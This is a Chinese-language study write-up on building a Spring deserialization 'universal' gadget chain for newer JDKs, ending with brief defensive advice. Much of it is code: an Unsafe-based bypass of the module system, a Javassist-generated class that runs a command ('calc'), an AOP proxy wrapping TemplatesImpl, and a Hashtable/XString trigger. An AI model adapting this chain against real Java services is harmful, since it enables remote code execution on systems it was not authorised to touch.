高版本jdk下的spring通杀链学习
字数 1061 2025-11-21 12:27:24
高版本JDK下Spring通杀链技术分析
1. 背景概述
在Java高版本环境中,由于模块化系统的引入,传统的反序列化利用链受到限制。本文详细分析如何在高版本JDK环境下构造Spring通杀链。
2. TemplatesImpl链基础原理
2.1 调用栈分析
TemplatesImpl#getOutputProperties
→ TemplatesImpl#newTransformer
→ TemplatesImpl#getTransletInstance
→ TemplatesImpl#defineTransletClasses
→ TemplatesImpl#defineClass
2.2 关键参数设置
需要正确设置三个关键参数:
_bytecodes:恶意类字节码_name:不能为null_tfactory:TransformerFactoryImpl实例
2.3 传统利用方式
// 恶意类示例
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
public class shell extends AbstractTranslet {
public shell() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
}
3. 高版本JDK的限制与绕过
3.1 模块化系统限制
Java 9+引入JPMS模块化系统,com.sun.*等内部类被放在java.xml模块中,默认不对外暴露。
3.2 反射访问条件
通过反射访问需要满足:
- 调用方与目标类在同一模块
- 目标模块对调用方导出或开放包
- 目标类与成员的修饰符及继承关系符合要求
3.3 Unsafe类利用
使用sun.misc.Unsafe修改module属性绕过限制:
private static void patchModule(Class clazz) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
Module targetModule = Object.class.getModule();
unsafe.getAndSetObject(clazz, offset, targetModule);
}
4. 关键技术突破点
4.1 非继承AbstractTranslet的绕过技术
当恶意类不继承AbstractTranslet时,需要:
- 设置
_bytecodes包含两个类字节码 - 正确设置
_transletIndex为0或1 - 确保
_auxClasses不为空
4.2 模块访问权限处理
通过分析java.xml模块的导出包,发现javax.xml.transform包完全导出,其中的Templates接口包含getOutputProperties()方法。
5. 完整利用链构造
5.1 恶意类生成
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
5.2 TemplatesImpl实例构造
byte[][] code = new byte[][]{classBytes, classBytes1};
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl, "_name", "fupanc");
setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl, "_bytecodes", code);
setFieldValue(impl, "_transletIndex", 0);
5.3 AOP代理设置
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(impl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
Object proxyAop = constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class}, (InvocationHandler) proxyAop);
5.4 触发结构构造
POJONode node = new POJONode(proxy);
// 获取XString实例
Class xstringClazz = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor xstringConstructor = xstringClazz.getConstructor(String.class);
xstringConstructor.setAccessible(true);
Object xString = xstringConstructor.newInstance("111");
// 构造触发HashMap
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ", xString);
hashMap0.put("yy", node);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ", node);
hashMap1.put("yy", xString);
hash.put(hashMap0, "1");
hash.put(hashMap1, "2");
6. 技术要点总结
- 模块绕过:使用Unsafe修改module属性突破JPMS限制
- 类继承绕过:通过多字节码和_transletIndex设置避免继承AbstractTranslet
- 代理机制:利用Spring AOP代理将调用转移到TemplatesImpl
- 触发机制:通过HashMap+XString的hash碰撞触发反序列化
7. 防御建议
- 严格限制反序列化操作
- 使用安全管理器限制反射访问
- 及时更新JDK和Spring框架版本
- 实施代码安全审计和依赖项检查
此技术分析详细展示了在高版本JDK环境下构造Spring通杀链的关键技术点,对理解Java安全机制和防御此类攻击具有重要参考价值。